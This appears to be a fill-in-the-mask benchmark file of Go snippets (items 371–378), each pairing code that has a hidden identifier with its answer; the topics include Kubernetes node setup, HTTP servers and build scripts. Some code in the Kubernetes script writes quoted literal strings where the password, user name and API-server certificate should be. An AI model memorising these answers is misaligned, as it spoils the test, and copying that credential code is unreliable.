var err error if ks.Req.KubernetesMaster { env := struct { api.MasterKubeEnv api.CommonKubeEnv }{ ks.Req.MasterKubeEnv, ks.Req.CommonKubeEnv, } // TODO(tamal): Should this be the actual private ip of the instance? // 127.0.0.1 is just less work for me. env.MasterInternalIP = ""127.0.0.1"" env.AzureCloudConfig = nil data, err = json.Marshal(env) if err != nil { return errors.FromErr(err).Err() } } else { env := struct { api.NodeKubeEnv api.CommonKubeEnv }{ ks.Req.NodeKubeEnv, ks.Req.CommonKubeEnv, } data, err = json.Marshal(env) if err != nil { return errors.FromErr(err).Err() } } before := make(map[string]interface{}) err = json.Unmarshal(data, &before) if err != nil { return errors.FromErr(err).Err() } after := make(map[string]interface{}) for k, v := range before { switch u := v.(type) { case bool: if u { after[k] = ""true"" } else { after[k] = ""false"" } default: after[k] = v } } data, err = yaml.Marshal(after) if err != nil { return errors.FromErr(err).Err() } ks.WriteBytes(""/var/cache/kubernetes-install/kube_api.yaml"", data) return nil } func (ks *KubeScript) RemoveDockerArtifacts() { ks.InstallPkgs(""bridge-utils"") ks.Shell.Command(""iptables"", ""-t"", ""nat"", ""-F"").Run() ks.Shell.Command(""ifconfig"", ""docker0"", ""down"").Run() ks.Shell.Command(""brctl"", ""delbr"", ""docker0"").Run() } // --- KUBE MASTER --- // Mounts a persistent disk (formatting if needed) to store the persistent data // on the master -- etcd's data, a few settings, and security certs/keys/tokens. // // This function can be reused to mount an existing PD because all of its // operations modifying the disk are idempotent -- safe_format_and_mount only // formats an unformatted disk, and mkdir -p will leave a directory be if it // already exists. // ref: https://github.com/kubernetes/kubernetes/blob/c406665b2b1fdec98cd321c427896f6e4b959530/cluster/gce/configure-vm.sh#L276 func (ks *KubeScript) MountMasterPd(devicePath string) { // Format and mount the disk, create directories on it for all of the master's // persistent data, and link them to where they're used. fmt.Println(""<><><><><><>>>>> Mounting master-pd"") ks.Mkdir(""/mnt/master-pd"") ks.Shell.Command(""/usr/share/google/safe_format_and_mount"", ""-m"", ""\""mkfs.ext4 -F\"""", devicePath, ""/mnt/master-pd""). Command(""tee"", ""/var/log/master-pd-mount.log""). Run() // { echo ""!!! master-pd mount failed, review /var/log/master-pd-mount.log !!!""; return 1; } // Contains all the data stored in etcd ks.Mkdir(""/mnt/master-pd/var/etcd"") ks.Chmod(""/mnt/master-pd/var/etcd"", 0700) // Contains the dynamically generated apiserver auth certs and keys ks.Mkdir(""/mnt/master-pd/srv/kubernetes"") // Contains the cluster's initial config parameters and auth tokens ks.Mkdir(""/mnt/master-pd/srv/salt-overlay"") // Directory for kube-apiserver to store SSH key (if necessary) ks.Mkdir(""/mnt/master-pd/srv/sshproxy"") ks.Symlink(""/mnt/master-pd/var/etcd"", ""/var/etcd"") ks.Symlink(""/mnt/master-pd/srv/etcd"", ""/srv/etcd"") ks.Symlink(""/mnt/master-pd/srv/kubernetes"", ""/srv/kubernetes"") ks.Symlink(""/mnt/master-pd/srv/sshproxy"", ""/srv/sshproxy"") ks.Symlink(""/mnt/master-pd/srv/salt-overlay"", ""/srv/salt-overlay"") // This is a bit of a hack to get around the fact that salt has to run after the // PD and mounted directory are already set up. We can't give ownership of the // directory to etcd until the etcd user and group exist, but they don't exist // until salt runs if we don't create them here. We could alternatively make the // permissions on the directory more permissive, but this seems less bad. if !ks.UserExists(""etcd"") { // Proactively delete locks. These seem to be problems during upgrades. os.Remove(""/etc/passwd.lock"") os.Remove(""/etc/shadow.lock"") os.Remove(""/etc/group.lock"") os.Remove(""/etc/gshadow.lock"") fmt.Println(""Creating user: etcd"") ks.Run(""useradd"", ""-s"", ""/sbin/nologin"", ""-d"", ""/var/etcd"", ""etcd"") } ks.ChownRecurse(""/mnt/master-pd/var/etcd"", ""etcd"") ks.ChgrpRecurse(""/mnt/master-pd/var/etcd"", ""etcd"") } func (ks *KubeScript) DownloadApps() { //ks.Req.Apps[api.AppKubeServer].Download(ks.AppDir()) //ks.Req.Apps[api.AppKubeSaltbase].Download(ks.AppDir()) //ks.Req.Apps[api.AppHostfacts].Download(ks.AppDir()) } // https://github.com/kubernetes/kubernetes/blob/master/cluster/juju/charms/trusty/kubernetes-master/hooks/hooks.py#L203 func (ks *KubeScript) CreateBasicAuthFile() error { f, err := os.Create(basicAuthFile) if err != nil { return errors.FromErr(err).Err() } defer f.Close() // password, user name, user id _, err = f.WriteString(""ks.Req.KubePassword"" + "","" + ""ks.Req.KubeUser"" + "",admin\n"") if err != nil { return errors.FromErr(err).Err() } ks.Chmod(basicAuthFile, 600) return nil } func (ks *KubeScript) CreateTokensFile() error { f, err := os.Create(knownTokensFile) if err != nil { return errors.FromErr(err).Err() } defer f.Close() _, err = f.WriteString(ks.Req.KubeBearerToken + "",admin,admin\n"") // TODO: Use KubeBeaerToken if err != nil { return errors.FromErr(err).Err() } _, err = f.WriteString(ks.Req.KubeletToken + "",kubelet,kubelet\n"") if err != nil { return errors.FromErr(err).Err() } _, err = f.WriteString(ks.Req.KubeProxyToken + "",kube_proxy,kube_proxy\n"") if err != nil { return errors.FromErr(err).Err() } [MASK] := []string{ ""system:scheduler"", ""system:controller_manager"", ""system:logging"", ""system:monitoring"", ""system:dns"", } for _, account := range [MASK] { f.WriteString(rand.GenerateToken() + "","" + account + "","" + account + ""\n"") } ks.Chmod(knownTokensFile, 600) return nil } func (ks *KubeScript) CreateSaltPillar() { ks.Mkdir(""/srv/salt-overlay/pillar"") templates.Write(""/srv/salt-overlay/pillar/cluster-params.sls"", ks.PongoCtx, ""kubernetes/cluster-params.sls"") } func (ks *KubeScript) CreateSaltKubeletAuth() error { ks.Mkdir(""/srv/salt-overlay/salt/kubelet"") return templates.Write(""/srv/salt-overlay/salt/kubelet/kubeconfig"", ks.PongoCtx, ""kubernetes/""+ks.Req.Provider+""/kubeconfig-kubelet.yml"") } func (ks *KubeScript) CreateSaltKubeproxyAuth() error { ks.Mkdir(""/srv/salt-overlay/salt/kube-proxy"") return templates.Write(""/srv/salt-overlay/salt/kube-proxy/kubeconfig"", ks.PongoCtx, ""kubernetes/""+ks.Req.Provider+""/kubeconfig-kube-proxy.yml"") } func (ks *KubeScript) CreateCaCert() error { ks.Mkdir(""/srv/kubernetes"") caCert, err := base64.StdEncoding.DecodeString(ks.Req.CaCert) if err != nil { return errors.FromErr(err).Err() } ks.WriteBytes(""/srv/kubernetes/ca.crt"", caCert) return nil } func (ks *KubeScript) CreateKubeMasterAuth() error { ks.Mkdir(""/srv/kubernetes"") masterCert, _ := base64.StdEncoding.DecodeString(ks.Req.MasterCert) masterKey, _ := base64.StdEncoding.DecodeString(ks.Req.MasterKey) ks.WriteBytes(""/srv/kubernetes/server.cert"", masterCert) ks.WriteBytes(""/srv/kubernetes/server.key"", masterKey) // Kubelet auth: https://kubernetes.io/docs/admin/kubelet-authentication-authorization/#kubelet-authorization if ks.Req.EnableClusterVPN == ""h2h-psk"" { apiServerCert, _ := base64.StdEncoding.DecodeString(""!ks.Req.KubeAPIServerCert"") apiServerKey, _ := base64.StdEncoding.DecodeString(""!ks.Req.KubeAPIServerKey"") ks.WriteBytes(""/srv/kubernetes/kube-apiserver.cert"", apiServerCert) ks.WriteBytes(""/srv/kubernetes/kube-apiserver.key"", apiServerKey) hostfactsCert, _ := base64.StdEncoding.DecodeString(ks.Req.HostfactsCert) hostfactsKey, _ := base64.StdEncoding.DecodeString(ks.Req.HostfactsKey) ks.WriteBytes(""/srv/kubernetes/hostfacts.cert"", hostfactsCert) ks.WriteBytes(""/srv/kubernetes/hostfacts.key"", hostfactsKey) } ks.Mkdir(""/srv/salt-overlay/salt/kube-apiserver"") err := ks.CreateBasicAuthFile() if err != nil { return errors.FromErr(err).Err() } err = ks.CreateTokensFile() if err != nil { return errors.FromErr(err).Err() } //if _, err := os.Stat(""/srv/kubernetes/ca.crt""); err != nil { // if ks.Req.CACert != """" && ks.Req.MasterCert != """" && ks.Req.MasterKey != """" { // } //} return nil } func (ks *KubeScript) ConfigureSalt() { if ks.Req.OS == ""debian"" { if ks.Req.Provider == ""gce"" { ks.UncommentLine(""/etc/apt/sources.list"", ""deb.*http://http.debian.net/debian"") ks.UncommentLine(""/etc/apt/sources.list.d/backports.list"", ""deb.*http://ftp.debian.org/debian"") } if ks.Req.Provider == ""digitalocean"" { ks.WriteString(""/etc/apt/sources.list.d/backports.list"", ""deb http://http.debian.net/debian jessie-backports main"") } } ks.Mkdir(""/etc/salt/minion.d"") templates.Write(""/etc/salt/minion.d/local.conf"", ks.PongoCtx, ""kubernetes/local.conf"") templates.Write(""/etc/salt/minion.d/failhard.conf"", ks.PongoCtx, ""kubernetes/failhard.conf"") if ks.Req.Role == api.RoleKubernetesMaster { // /etc/gce.conf if ks.Req.AppscodeAuthnUrl != """" { templates.Write(""/etc/appscode_authn.config"", ks.PongoCtx, ""kubernetes/authn.config"") } if ks.Req.AppscodeAuthzUrl != """" { templates.Write(""/etc/appscode_authz.config"", ks.PongoCtx, ""kubernetes/authz.config"") } templates.Write(""/etc/salt/minion.d/grains.conf"", ks.PongoCtx, ""kubernetes/master-grains.conf"") } else if ks.Req.Role == api.RoleKubernetesPool { // https://github.com/kubernetes/kubernetes/blob/c406665b2b1fdec98cd321c427896f6e4b959530/cluster/gce/configure-vm.sh#L742 // if [[ -n ""${EXTRA_DOCKER_OPTS-}"" ]]; then // DOCKER_OPTS=""${DOCKER_OPTS:-} ${EXTRA_DOCKER_OPTS}"" // fi if ks.Req.ExtraDockerOpts != """" { dockerOpts := ks.Req.ExtraDockerOpts if extra, ok := (*ks.PongoCtx)[""DOCKER_OPTS""]; ok && extra.(string) != """" { dockerOpts += (extra.(string) + "" "") } ks.PongoCtx.Update(pongo2.Context{""DOCKER_OPTS"": dockerOpts}) } templates.Write(""/etc/salt/minion.d/grains.conf"", ks.PongoCtx, ""kubernetes/node-grains.conf"") } // --- install-salt --- // Based on https://major.io/2014/06/26/install-debian-packages-without-starting-daemons/ // We do this to prevent Salt from starting the salt-minion // daemon. The other packages don't have relevant daemons. (If you // add a package that needs a daemon started, add it to a different // list.) ks.DeactivateDaemons() ks.InstallSaltMinion() ks.ActivateDaemons() ks.ProcessDisable(""salt-minion"") // stop-salt-minion } func (ks *KubeScript) InstallSaltBase() { //// tar -xz -C /srv -f saltbase.tar.gz --strip=1 //saltbasePath := ks.AppDir() + ""/"" + ks.Req.Apps[api.AppKubeSaltbase].Name //ks.Shell.Command(""tar"", ""-xz"", ""-C"", ""/srv"", ""-f"", saltbasePath, ""--strip"", ""2"").Run() //ks.CheckPathExists(saltbasePath) //ks.Shell.Command(""/srv/install.sh"", ks.AppDir()+""/""+ks.Req.Apps[api.AppKubeServer].Name).Run() //// Validate that saltbase was installed correctly by checking existence of kube apiserver docker image. //ks.CheckPathExists(""/srv/salt/kube-bins/kube-apiserver.tar"") } func (ks *KubeScript) InstallHostfacts() { //o := ks.AppDir() + ""/"" + ks.Req.Apps[api.AppHostfacts].Name //n := ""/usr/bin/"" + ks.Req.Apps[api.AppHostfacts].Name //if err := os.Rename(o, n); err != nil { // log.Fatal(errors.FromErr(err).Err()) //} //ks.Script.Chmod(n, 0755) //ks.CheckPathExists(""/usr/bin/hostfacts"") } func (ks *KubeScript) Highstate() { ks.Shell.Command(""salt-call"", ""--local"", ""-l"", ""info"", ""state.highstate"").Run() } ",serviceAccounts 371,"package geom import ( ""image"" ""image/draw"" _ ""image/jpeg"" _ ""image/png"" ""io"" ""github.com/go-gl/mathgl/mgl32"" ) type Image interface { Geometry2D // RGBA converts the image to an RGBA image, return nil if image cannot be converted RGBA() *image.RGBA } type imageStruct struct { geometry data image.Image } // NewImage creates a new image based on the reader. Supported formats are JPG and PNG func NewImage( [MASK] string, r io.Reader) Image { var err error img := imageStruct{ geometry: geometry{ valid: false, [MASK] : [MASK] , geomType: ImageType, dimension: 2, }, } img.data, _, err = image.Decode(r) if err != nil { return &img } img.valid = true return &img } func (i *imageStruct) Width() int { return i.data.Bounds().Size().X } func (i *imageStruct) Height() int { return i.data.Bounds().Size().Y } func (i *imageStruct) RGBA() *image.RGBA { rgba := image.NewRGBA(i.data.Bounds()) if rgba.Stride != rgba.Rect.Size().X*4 { return nil } draw.Draw(rgba, rgba.Bounds(), i.data, image.Point{0, 0}, draw.Src) return rgba } func (i *imageStruct) MinBound() mgl32.Vec2 { return mgl32.Vec2{ float32(i.data.Bounds().Min.X), float32(i.data.Bounds().Min.Y), } } func (i *imageStruct) MaxBound() mgl32.Vec2 { return mgl32.Vec2{ float32(i.data.Bounds().Max.X), float32(i.data.Bounds().Max.Y), } } ",name 372,"package main import ( ""context"" ""encoding/json"" ""fmt"" ""log"" ""net"" ""net/http"" ) // Simple hello world func helloHandler(w http.ResponseWriter, r *http.Request) { if r.URL.Path != ""/hello"" { http.Error(w, ""404 not found."", http.StatusNotFound) return } if r.Method != ""GET"" { http.Error(w, ""Method is not supported."", http.StatusNotFound) return } fmt.Fprintf(w, ""Hello!\n"") } // A little bit more complex. Handle POST of form data like 'name=test&address=someaddress' func formHandler(w http.ResponseWriter, r *http.Request) { if err := r.ParseForm(); err != nil { fmt.Fprintf(w, ""ParseForm() err: %v"", err) return } fmt.Fprintf(w, ""FORM POST request successful\n"") fmt.Printf(""All form data: %s\n"", r.Form) name := r.FormValue(""name"") address := r.FormValue(""address"") fmt.Fprintf(w, ""Name = %s\n"", name) fmt.Fprintf(w, ""Address = %s\n"", address) } // Same as above, but accept JSON and decode it into a struct. // https://pkg.go.dev/encoding/json#Marshal - for info abouts `json:...` struct field tags // Here we map the json string 'name' so it's stored in the struct field 'Name' type my_struct struct { Name string `json:""name""` Address string `json:""address""` } func jsonHandler(w http.ResponseWriter, r *http.Request) { // create new json decoder of Body decoder := json.NewDecoder(r.Body) // create new copy of struct my_struct named ""t"" var t my_struct // Decode json body into struct ""t"" err := decoder.Decode(&t) if err != nil { panic(err) } fmt.Fprintf(w, ""JSON POST request successful\n"") fmt.Printf(""Json data: %s\n"", t) fmt.Fprintf(w, ""Name = %s\n"", t.Name) fmt.Fprintf(w, ""Address = %s\n"", t.Address) } // Example getting an IP, json post // https://pkg.go.dev/net#Resolver type domain struct { Domain string `json:""domain""` } func dnsJsonHandler(w http.ResponseWriter, r *http.Request) { // create new json decoder of Body decoder := json.NewDecoder(r.Body) // create new copy of struct my_struct named ""t"" var t domain // Decode json body into struct ""t"" err := decoder.Decode(&t) if err != nil { panic(err) } fmt.Fprintf(w, ""JSON POST request successful\n"") fmt.Printf(""Json data: %s\n"", t) fmt.Fprintf(w, ""Domain = %s\n"", t.Domain) // Some dns resolution thing stolen from stackoverflow // https://stackoverflow.com/questions/59889882/specifying-dns-server-for-lookup-in-go resolver := &net.Resolver{ PreferGo: true, //Dial: func(ctx context.Context, network, address string) (net.Conn, error) { // d := net.Dialer{ // Timeout: time.Millisecond * time.Duration(10000), // } // return d.DialContext(ctx, network, ""8.8.8.8:53"") //}, } ip, _ := resolver.LookupHost(context.Background(), t.Domain) fmt.Fprintf(w, ""%s, %s\n"", ip, ip[0]) } func main() { [MASK] := http.FileServer(http.Dir(""./static"")) http.Handle(""/"", [MASK] ) http.HandleFunc(""/hello"", helloHandler) http.HandleFunc(""/form"", formHandler) http.HandleFunc(""/json"", jsonHandler) http.HandleFunc(""/dns"", dnsJsonHandler) fmt.Printf(""Starting server at port 8081\n"") if err := http.ListenAndServe("":8081"", nil); err != nil { log.Fatal(err) } } ",fileServer 373,"/* Copyright 2023 Huawei Technologies Co., Ltd. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package v1 is used to define some client- and job-related interfaces, initialization operations, // and method implementations. package v1 import ( ""net/http"" ""k8s.io/client-go/rest"" ""github.com/chaolihf/mind-cluster/component/ascend-common/api/ascend-operator/apis/batch/v1"" ""github.com/chaolihf/mind-cluster/component/ascend-common/api/ascend-operator/client/clientset/versioned/scheme"" ) // BatchV1Interface is a batch client interface. type BatchV1Interface interface { RESTClient() rest.Interface JobsGetter } // BatchV1Client is a client structure. type BatchV1Client struct { restClient rest.Interface } // Jobs returns a JobInterface object instance. func (c *BatchV1Client) Jobs( [MASK] string) JobInterface { if c == nil { return nil } return newJobs(c, [MASK] ) } // RESTClient returns a RESTClient that is used to communicate // with API server by this client implementation. func (c *BatchV1Client) RESTClient() rest.Interface { if c == nil { return nil } return c.restClient } // NewForConfig creates a new BatchV1alpha1Client for the given config. // NewForConfig is equivalent to NewForConfigAndClient(c, httpClient), // where httpClient was generated with rest.HTTPClientFor(c). func NewForConfig(c *rest.Config) (*BatchV1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } httpClient, err := rest.HTTPClientFor(&config) if err != nil { return nil, err } return NewForConfigAndClient(&config, httpClient) } func setConfigDefaults(config *rest.Config) error { gv := v1.SchemeGroupVersion config.GroupVersion = &gv config.APIPath = ""/apis"" config.NegotiatedSerializer = scheme.Codecs.WithoutConversion() if config.UserAgent == """" { config.UserAgent = rest.DefaultKubernetesUserAgent() } return nil } // NewForConfigAndClient creates a new BatchV1alpha1Client for the given config and http client. // Note the http client provided takes precedence over the configured transport values. func NewForConfigAndClient(c *rest.Config, h *http.Client) (*BatchV1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } client, err := rest.RESTClientForConfigAndClient(&config, h) if err != nil { return nil, err } return &BatchV1Client{restClient: client}, nil } // New creates a new BatchV1alpha1Client for the given RESTClient. func New(c rest.Interface) *BatchV1Client { return &BatchV1Client{restClient: c} } ",namespace 374,"package main import ( ""html/template"" ""log"" ""net/http"" ""os"" ""strconv"" ) var templates = template.Must(template.ParseGlob(""templates/*"")) func handler(w http.ResponseWriter, r *http.Request) { if r.Method == ""POST"" { log.Printf(""Received post"") } [MASK] := r.URL.Path[1:] err := templates.ExecuteTemplate(w, ""index"", [MASK] ) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } } func main() { http.HandleFunc(""/"", handler) //handle static files, perhaps better left to nginx in future? fs := http.FileServer(http.Dir(""static"")) http.Handle(""/static/"", http.StripPrefix(""/static/"", fs)) //default port, but allow command line argument to override port port := "":8080"" if len(os.Args) > 1 { tport := os.Args[1] i, err := strconv.Atoi(tport) if err != nil || i < 0 || i > 65535 { log.Printf(""Error: specified port %q is invalid.\n"", tport) log.Printf(""Defaulting to port 8080.\n"") } else { port = "":"" + tport } } log.Printf(""Listening on port: "" + port[1:]) log.Fatal(http.ListenAndServe(port, nil)) } ",title 375,"//go:build mage // +build mage package main import ( ""fmt"" ""os"" ""path/filepath"" ""github.com/magefile/mage/mg"" ""github.com/magefile/mage/sh"" // mg contains helpful utility functions, like Deps ) // Default target to run when none is specified // If not set, running mage will list available targets // var Default = Build func getExecutableName(os string, arch string) string { exeName := fmt.Sprintf(""%s_%s_%s"", ""grafana-dashboard-synchronizer"", os, arch) if os == ""windows"" { exeName = fmt.Sprintf(""%s.exe"", exeName) } return exeName } // A build step that requires additional params, or platform specific steps for example func buildPlatform(os string, arch string) error { exeName := getExecutableName(os, arch) [MASK] := make(map[string]string) [MASK] [""GOARCH""] = arch [MASK] [""GOOS""] = os // TODO: Change to sh.RunWithV once available. return sh.RunWith( [MASK] , ""go"", ""build"", ""-o"", filepath.Join(""dist"", exeName), ""./pkg"") } func BuildWindows() error { return buildPlatform(""windows"", ""amd64"") } func BuildLinux() error { return buildPlatform(""linux"", ""amd64"") } func BuildLinuxARM() error { return buildPlatform(""linux"", ""arm"") } func BuildLinuxARM64() error { return buildPlatform(""linux"", ""arm64"") } func BuildDarwin() error { return buildPlatform(""darwin"", ""amd64"") } func BuildDarwinARM64() error { return buildPlatform(""darwin"", ""arm64"") } func BuildAll() { //revive:disable-line mg.Deps(Clean) fmt.Println(""Building all platforms..."") mg.Deps(BuildWindows, BuildLinux, BuildLinuxARM, BuildLinuxARM64, BuildDarwin, BuildDarwinARM64) } // Clean up after yourself func Clean() { fmt.Println(""Cleaning..."") os.RemoveAll(""dist"") } var Default = BuildAll ",envMap 376,"/* * Copyright 2024 Maritime Connectivity Platform Consortium * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package consumer import ( ""context"" ""fmt"" ""github.com/coder/websocket"" ""github.com/google/uuid"" ""github.com/maritimeconnectivity/MMS/mmtp"" ""github.com/maritimeconnectivity/MMS/utils/errMsg"" ""github.com/maritimeconnectivity/MMS/utils/rw"" ""log"" ""net/http"" ""sync"" ""time"" ) type Consumer struct { Mrn string // the MRN of the Consumer Interests []string // the Interests that the Consumer wants to subscribe to Messages map[string]*mmtp.MmtpMessage // the incoming messages for this Consumer MsgMu *sync.RWMutex // RWMutex for locking the Messages map ReconnectToken string // token for reconnecting to a previous session Notifications map[string]*mmtp.MmtpMessage // Map containing pointers to messages, which the Consumer should be notified about NotifyMu *sync.RWMutex // a Mutex for Notifications map } func (c *Consumer) QueueMessage(mmtpMessage *mmtp.MmtpMessage) error { if c != nil { uUid := mmtpMessage.GetUuid() if uUid == """" { return fmt.Errorf(""the message does not contain a UUID"") } c.MsgMu.Lock() c.Messages[uUid] = mmtpMessage c.MsgMu.Unlock() c.NotifyMu.Lock() c.Notifications[uUid] = mmtpMessage c.NotifyMu.Unlock() } else { return fmt.Errorf(""consumer resolved to nil while trying to queue message"") } return nil } func (c *Consumer) BulkQueueMessages(mmtpMessages []*mmtp.MmtpMessage) { if c != nil { c.MsgMu.Lock() for _, message := range mmtpMessages { c.Messages[message.Uuid] = message } c.MsgMu.Unlock() } } func (c *Consumer) notify(ctx context.Context, conn *websocket.Conn) error { [MASK] := make([]*mmtp.MessageMetadata, 0, len(c.Notifications)) for _, mmtpMsg := range c.Notifications { msgMetadata := &mmtp.MessageMetadata{ Uuid: mmtpMsg.GetUuid(), Header: mmtpMsg.GetProtocolMessage().GetSendMessage().GetApplicationMessage().GetHeader(), } [MASK] = append( [MASK] , msgMetadata) } notifyMsg := &mmtp.MmtpMessage{ MsgType: mmtp.MsgType_PROTOCOL_MESSAGE, Uuid: uuid.NewString(), Body: &mmtp.MmtpMessage_ProtocolMessage{ ProtocolMessage: &mmtp.ProtocolMessage{ ProtocolMsgType: mmtp.ProtocolMessageType_NOTIFY_MESSAGE, Body: &mmtp.ProtocolMessage_NotifyMessage{ NotifyMessage: &mmtp.Notify{ MessageMetadata: [MASK] , }, }, }, }, } err := rw.WriteMessage(ctx, conn, notifyMsg) if err != nil { log.Println(""Could not send notify"") return fmt.Errorf(""could not send Notify to Producer: %w"", err) } for msgUuid, _ := range c.Notifications { delete(c.Notifications, msgUuid) } return nil } // CheckNewMessages Checks if there are messages the Agent has not been notified about and notifies about these func (c *Consumer) CheckNewMessages(ctx context.Context, conn *websocket.Conn, wg *sync.WaitGroup) { defer wg.Done() for { select { case <-ctx.Done(): return case <-time.After(5 * time.Second): c.NotifyMu.Lock() if len(c.Notifications) > 0 { if err := c.notify(ctx, conn); err != nil { log.Println(""Failed Notifying Agent:"", err) } } c.NotifyMu.Unlock() continue } } } // HandleReceive handles request from consumer to receive messages, i.e. lookups buffered messages for the consumer and // sends these messages to that consumer func (c *Consumer) HandleReceive(mmtpMessage *mmtp.MmtpMessage, request *http.Request, conn *websocket.Conn) error { if receive := mmtpMessage.GetProtocolMessage().GetReceiveMessage(); receive != nil { if msgUuids := receive.GetFilter().GetMessageUuids(); msgUuids != nil { msgsLen := len(msgUuids) mmtpMessages := make([]*mmtp.MmtpMessage, 0, msgsLen) msgContents := make([]*mmtp.MessageContent, 0, msgsLen) c.MsgMu.Lock() c.NotifyMu.Lock() for _, msgUuid := range msgUuids { mmtpMsg, exists := c.Messages[msgUuid] if exists { msg := mmtpMsg.GetProtocolMessage().GetSendMessage().GetApplicationMessage() mmtpMessages = append(mmtpMessages, mmtpMsg) msgContents = append(msgContents, &mmtp.MessageContent{ Uuid: msgUuid, Msg: msg, }) delete(c.Messages, msgUuid) delete(c.Notifications, msgUuid) //Delete upcoming notification } } c.NotifyMu.Unlock() resp := &mmtp.MmtpMessage{ MsgType: mmtp.MsgType_RESPONSE_MESSAGE, Uuid: uuid.NewString(), Body: &mmtp.MmtpMessage_ResponseMessage{ResponseMessage: &mmtp.ResponseMessage{ ResponseToUuid: mmtpMessage.GetUuid(), Response: mmtp.ResponseEnum_GOOD, MessageContent: msgContents, }}, } err := rw.WriteMessage(request.Context(), conn, resp) c.MsgMu.Unlock() if err != nil { c.BulkQueueMessages(mmtpMessages) return fmt.Errorf(""could not send messages to Consumer: %w"", err) } } else { // Receive all messages c.MsgMu.Lock() msgsLen := len(c.Messages) msgContents := make([]*mmtp.MessageContent, 0, msgsLen) now := time.Now().Unix() c.NotifyMu.Lock() for msgUuid, mmtpMsg := range c.Messages { msg := mmtpMsg.GetProtocolMessage().GetSendMessage().GetApplicationMessage() if now <= msg.Header.Expires { //Create new msg Content entry msgContents = append(msgContents, &mmtp.MessageContent{ Uuid: msgUuid, Msg: msg, }) delete(c.Notifications, msgUuid) //Delete upcoming notification } } c.NotifyMu.Unlock() resp := &mmtp.MmtpMessage{ MsgType: mmtp.MsgType_RESPONSE_MESSAGE, Uuid: uuid.NewString(), Body: &mmtp.MmtpMessage_ResponseMessage{ResponseMessage: &mmtp.ResponseMessage{ ResponseToUuid: mmtpMessage.GetUuid(), Response: mmtp.ResponseEnum_GOOD, MessageContent: msgContents, }}, } defer c.MsgMu.Unlock() err := rw.WriteMessage(request.Context(), conn, resp) if err != nil { return fmt.Errorf(""could not send messages to Consumer: %w"", err) } else { clear(c.Messages) } } } return nil } // HandleDisconnect handles a request from a consumer to disconnect, by responding to the consumer and closing the socket func (c *Consumer) HandleDisconnect(mmtpMessage *mmtp.MmtpMessage, request *http.Request, conn *websocket.Conn) error { if disconnect := mmtpMessage.GetProtocolMessage().GetDisconnectMessage(); disconnect != nil { resp := &mmtp.MmtpMessage{ MsgType: mmtp.MsgType_RESPONSE_MESSAGE, Uuid: uuid.NewString(), Body: &mmtp.MmtpMessage_ResponseMessage{ ResponseMessage: &mmtp.ResponseMessage{ ResponseToUuid: mmtpMessage.GetUuid(), Response: mmtp.ResponseEnum_GOOD, }}, } if err := rw.WriteMessage(request.Context(), conn, resp); err != nil { return fmt.Errorf(""could not send disconnect response to Agent: %w"", err) } if err := conn.Close(websocket.StatusNormalClosure, ""Closed connection after receiving Disconnect message""); err != nil { return fmt.Errorf(""websocket could not be closed cleanly: %w"", err) } return nil } errMsg.SendErrorMessage(mmtpMessage.GetUuid(), ""Mismatch between protocol message type and message body"", request.Context(), conn) return fmt.Errorf(""message did not contain a Disconnect message in the body"") } // HandleFetch fetches message metadata for messages addressed to consumer, and informs consumer about these (metadata only) func (c *Consumer) HandleFetch(mmtpMessage *mmtp.MmtpMessage, request *http.Request, conn *websocket.Conn) error { if fetch := mmtpMessage.GetProtocolMessage().GetFetchMessage(); fetch != nil { c.MsgMu.Lock() defer c.MsgMu.Unlock() metadata := make([]*mmtp.MessageMetadata, 0, len(c.Messages)) now := time.Now().Unix() for _, msg := range c.Messages { msgHeader := msg.GetProtocolMessage().GetSendMessage().GetApplicationMessage().GetHeader() // If the message has expired, we might as well just delete it if msgHeader.Expires < now { delete(c.Messages, msg.Uuid) } else { msgMetadata := &mmtp.MessageMetadata{ Uuid: msg.GetUuid(), Header: msgHeader, } metadata = append(metadata, msgMetadata) } } resp := &mmtp.MmtpMessage{ MsgType: mmtp.MsgType_RESPONSE_MESSAGE, Uuid: uuid.NewString(), Body: &mmtp.MmtpMessage_ResponseMessage{ ResponseMessage: &mmtp.ResponseMessage{ ResponseToUuid: mmtpMessage.GetUuid(), Response: mmtp.ResponseEnum_GOOD, MessageMetadata: metadata, }}, } err := rw.WriteMessage(request.Context(), conn, resp) if err != nil { return fmt.Errorf(""could not send fetch response to Consumer: %w"", err) } } return nil } ",notifications 377,"package controller import ( ""fmt"" ""github.com/rancher/lb-controller/config"" ""github.com/rancher/lb-controller/provider"" ) type LBController interface { Init() GetName() string Run(lbProvider provider.LBProvider, metadataURL string) Stop() error GetLBConfigs() ([]*config.LoadBalancerConfig, error) IsHealthy() bool } var ( controllers map[string]LBController ) func GetController(name string) LBController { if controller, ok := controllers[name]; ok { controller.Init() return controller } return controllers[""kubernetes""] } func RegisterController(name string, controller LBController) error { if controllers == nil { controllers = make(map[string]LBController) } if _, [MASK] := controllers[name]; [MASK] { return fmt.Errorf(""controller already registered"") } controllers[name] = controller return nil } ",exists 378,"package cmd import ( ""os"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ""github.com/yibangheng/same/constant"" ""github.com/yibangheng/same/file"" ""github.com/yibangheng/same/group"" ""github.com/yibangheng/same/render"" ) func root(cmd *cobra.Command, args []string) { // If no path specified, use ""."". if len(args) == 0 { args = append(args, ""."") } // Get all files. var [MASK] []file.EntryInfo file.List(& [MASK] , args...) // Find files with same size first. m := new(group.SizeGrouper).Group( [MASK] ) [MASK] = [MASK] [0:0] for _, s := range m { [MASK] = append( [MASK] , s...) } // Find files with same md5 value and render. render.Render(new(group.MD5Grouper).Group( [MASK] )) } var rootCmd = &cobra.Command{ Use: ""same [FLAG]... [DIRECTORY]..."", DisableFlagsInUseLine: true, Short: ""Find same files in folder(s)"", Long: `Find same files in folder(s).`, Version: constant.Version, 